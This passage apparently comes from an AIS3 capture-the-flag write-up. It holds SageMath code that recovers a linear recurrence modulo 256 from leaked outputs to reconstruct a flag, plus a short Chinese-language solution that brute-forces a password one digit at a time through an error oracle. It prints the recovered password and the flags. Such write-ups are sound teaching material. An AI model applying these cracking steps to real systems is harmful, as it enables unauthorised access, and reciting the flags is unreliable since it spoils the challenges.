22, 185, 61, 190, 22, 115, 228, 215, 253, 89, 71, 117, 148, 71, 109, 1, 14, 105, 164, 155, 131, 25, 145, 235, 207, 88, 210, 71, 176, 59, 224, 126, 202, 77, 141, 194, 241, 31, 17, 171, 172, 199, 210, 42, 167, 54, 4, 118, 22, 146, 218, 94, 142, 219, 185, 240, 33, 3, 20, 203, 226, 148, 15, 124, 97, 210, 69, 215, 190, 21, 14, 151, 128, 215, 38, 146, 115, 21, 97, 8, 16, 248, 61, 236, 131, 130, 236, 73, 119, 28, 135, 191, 9, 129, 247, 211, 69, 165, 221, 104, 228, 158, 168, 82, 191, 107, 146, 95, 239, 36, 32, 230, 153, 17, 230, 71, 52, 251, 203, 47, 171, 231, 96, 235, 13, 150, 141, 246, 54, 210, 190, 86, 82, 64, 231, 8, 45, 27, 38, 209, 154, 117, 217, 188, 41, 173, 74, 1, 5, 6, 122, 93, 225, 239, 249, 148, 65, 213, 236, 5, 121, 156, 97, 8, 195, 42, 4, 237, 82, 239, 139, 228, 111, 236, 149, 96, 65, 55, 230, 150, 200, 181, 93, 185, 233, 161, 252, 199, 124, 231, 187, 64, 236, 115, 27, 41, 247, 49, 104, 229, 89, 182, 218, 54, 129, 61, 205, 160, 169, 158, 124, 201, 11, 197, 138, 9, 131, 211, 90, 63, 214, 138, 86, 238, 158, 74, 102, 148, 173, 218, 176, 130, 243, 147, 124, 29, 16, 120, 85, 209, 246, 216, 188, 137, 190, 141, 33, 163, 42, 135, 37, 23, 114, 143, 123, 167, 179, 156, 107, 182, 128, 11, 108, 22, 189, 145, 213, 65, 229, 230, 74, 82, 53, 202, 114, 103, 80, 161, 227, 189, 57, 201, 96, 241, 62, 152, 63, 118, 22, 158, 1, 134, 71, 184]
# fmt: on

M = Matrix(Zmod(256), 64, 64)
b = vector([0] * 64)
for i in range(64):
M[i] = vector(seq[i : i + 64])
b[i] = seq[65 + i]
v = M.solve_right(b)
assert v * vector(seq[200:264]) == seq[265]

M = Matrix(Zmod(256), 64, 64)
b = vector([0] * 64)
for i in range(64):
M[i] = vector(seq[i + 1 : i + 1 + 64])
b[i] = seq[i]
iv = M.solve_right(b)
assert iv * vector(seq[301:365]) == seq[300]

state = vector(seq[-64:])
for _ in range(len(seq)):
state = vector([iv * state] + list(state[:-1]))
print("".join(map(chr, state)))

Flag: AIS3{nooo_you_cant_just_break_my_microchip!_haha_math_goes_brrr}

Welcome

Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi

連線過去是一個數字密碼輸入介面,可以觀察到只要一個數字錯誤馬上就會 error,正確的話會給你繼續輸入,所以手動一個一個數字暴力找密碼即可,最後可以找到密碼 2025830455298

Flag: AIS3{H1n4m1z4w4_Sh0k0gun}